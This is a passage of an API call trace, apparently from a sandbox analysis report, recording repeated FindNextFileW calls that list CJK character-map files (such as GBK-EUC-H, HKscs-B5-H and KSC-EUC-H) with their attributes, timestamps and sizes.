dwReserved0=0x0, dwReserved1=0x0, cFileName="ETHK-B5-V", cAlternateFileName="ETHK-B~2")) returned 1 [0235.286] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="EUC-H", cAlternateFileName="")) returned 1 [0235.286] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd45, dwReserved0=0x0, dwReserved1=0x0, cFileName="EUC-V", cAlternateFileName="")) returned 1 [0235.286] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x403c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ext-RKSJ-H", cAlternateFileName="EXT-RK~1")) returned 1 [0235.286] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe53, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ext-RKSJ-V", cAlternateFileName="EXT-RK~2")) returned 1 [0235.286] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x123d, dwReserved0=0x0, dwReserved1=0x0, cFileName="GB-EUC-H", cAlternateFileName="")) returned 1 [0235.286] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="GB-EUC-V", cAlternateFileName="")) returned 1 [0235.286] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15594, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBK-EUC-H", cAlternateFileName="GBK-EU~1")) returned 1 [0235.287] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x39050, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBK-EUC-UCS2", cAlternateFileName="GBK-EU~2")) returned 1 [0235.287] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBK-EUC-V", cAlternateFileName="GBK-EU~3")) returned 1 [0235.287] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17840, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBK2K-H", cAlternateFileName="")) returned 1 [0235.287] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe55, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBK2K-V", cAlternateFileName="")) returned 1 [0235.287] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15580, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBKp-EUC-H", cAlternateFileName="GBKP-E~1")) returned 1 [0235.287] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBKp-EUC-V", cAlternateFileName="GBKP-E~2")) returned 1 [0235.287] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x125b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBpc-EUC-H", cAlternateFileName="GBPC-E~1")) returned 1 [0235.287] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x520, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBpc-EUC-UCS2", cAlternateFileName="GBPC-E~2")) returned 1 [0235.287] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x24296, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBpc-EUC-UCS2C", cAlternateFileName="GBPC-E~3")) returned 1 [0235.287] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xccf, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBpc-EUC-V", cAlternateFileName="GBPC-E~4")) returned 1 [0235.287] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc07a, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBT-EUC-H", cAlternateFileName="GBT-EU~1")) returned 1 [0235.287] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xccb, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBT-EUC-V", cAlternateFileName="GBT-EU~2")) returned 1 [0235.287] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x145a, dwReserved0=0x0, dwReserved1=0x0, cFileName="H", cAlternateFileName="")) returned 1 [0235.287] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5f97, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKdla-B5-H", cAlternateFileName="HKDLA-~1")) returned 1 [0235.287] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKdla-B5-V", cAlternateFileName="HKDLA-~2")) returned 1 [0235.288] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x55fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKdlb-B5-H", cAlternateFileName="HKDLB-~1")) returned 1 [0235.288] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKdlb-B5-V", cAlternateFileName="HKDLB-~2")) returned 1 [0235.288] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x386a, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKgccs-B5-H", cAlternateFileName="HKGCCS~1")) returned 1 [0235.288] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc21, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKgccs-B5-V", cAlternateFileName="HKGCCS~2")) returned 1 [0235.288] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x37a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKm314-B5-H", cAlternateFileName="HKM314~1")) returned 1 [0235.288] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc21, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKm314-B5-V", cAlternateFileName="HKM314~2")) returned 1 [0235.288] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f90eda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x43d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKm471-B5-H", cAlternateFileName="HKM471~1")) returned 1 [0235.321] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f90eda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc21, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKm471-B5-V", cAlternateFileName="HKM471~2")) returned 1 [0235.321] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f90eda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x604d, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKscs-B5-H", cAlternateFileName="HKSCS-~1")) returned 1 [0235.321] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f90eda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc30, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKscs-B5-V", cAlternateFileName="HKSCS-~2")) returned 1 [0235.321] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f556b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2024, dwReserved0=0x0, dwReserved1=0x0, cFileName="Identity-H", cAlternateFileName="IDENTI~1")) returned 1 [0235.321] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f556b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xac9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Identity-V", cAlternateFileName="IDENTI~2")) returned 1 [0235.322] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbbc660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3047, dwReserved0=0x0, dwReserved1=0x0, cFileName="KSC-EUC-H", cAlternateFileName="KSC-EU~1")) returned 1 [0235.322] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbbc660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="KSC-EUC-V", cAlternateFileName="KSC-EU~2")) returned 1 [0235.322] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbbc660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4191, dwReserved0=0x0, dwReserved1=0x0, cFileName="KSCms-UHC-H", cAlternateFileName="KSCMS-~1")) returned 1 [0235.322] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbbc660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x418c, dwReserved0=0x0, dwReserved1=0x0, cFileName="KSCms-UHC-HW-H", cAlternateFileName="KSCMS-~2")) returned 1 [0235.322] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbbc660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="KSCms-UHC-HW-V", cAlternateFileName="KSCMS-~3")) returned 1 [0235.322] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbbc660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e597, dwReserved0=0x0, dwReserved1=0x0, cFileName="KSCms-UHC-UCS2", cAlternateFileName="KSCMS-~4")) returned 1 [0235.322] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbbc660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="KSCms-UHC-V", cAlternateFileName="KS3FF3~1")) returned 1 [0235.322] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x33b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="KSCpc-EUC-H", cAlternateFileName="KSCPC-~1")) returned 1 [0235.322] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="KSCpc-EUC-UCS2", cAlternateFileName="KSCPC-~2")) returned 1 [0235.322] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x26499, dwReserved0=0x0, dwReserved1=0x0, cFileName="KSCpc-EUC-UCS2C", cAlternateFileName="KSCPC-~3")) returned 1 [0235.322] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fab1cc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x25f07, dwReserved0=0x0, dwReserved1=0x0, cFileName="UCS2-90ms-RKSJ", cAlternateFileName="UCS2-9~1")) returned 1 [0235.322] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fab1cc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x24373, dwReserved0=0x0, dwReserved1=0x0, cFileName="UCS2-90pv-RKSJ", cAlternateFileName="UCS2-9~2")) returned 1 [0235.322] FindNextFileW (in: 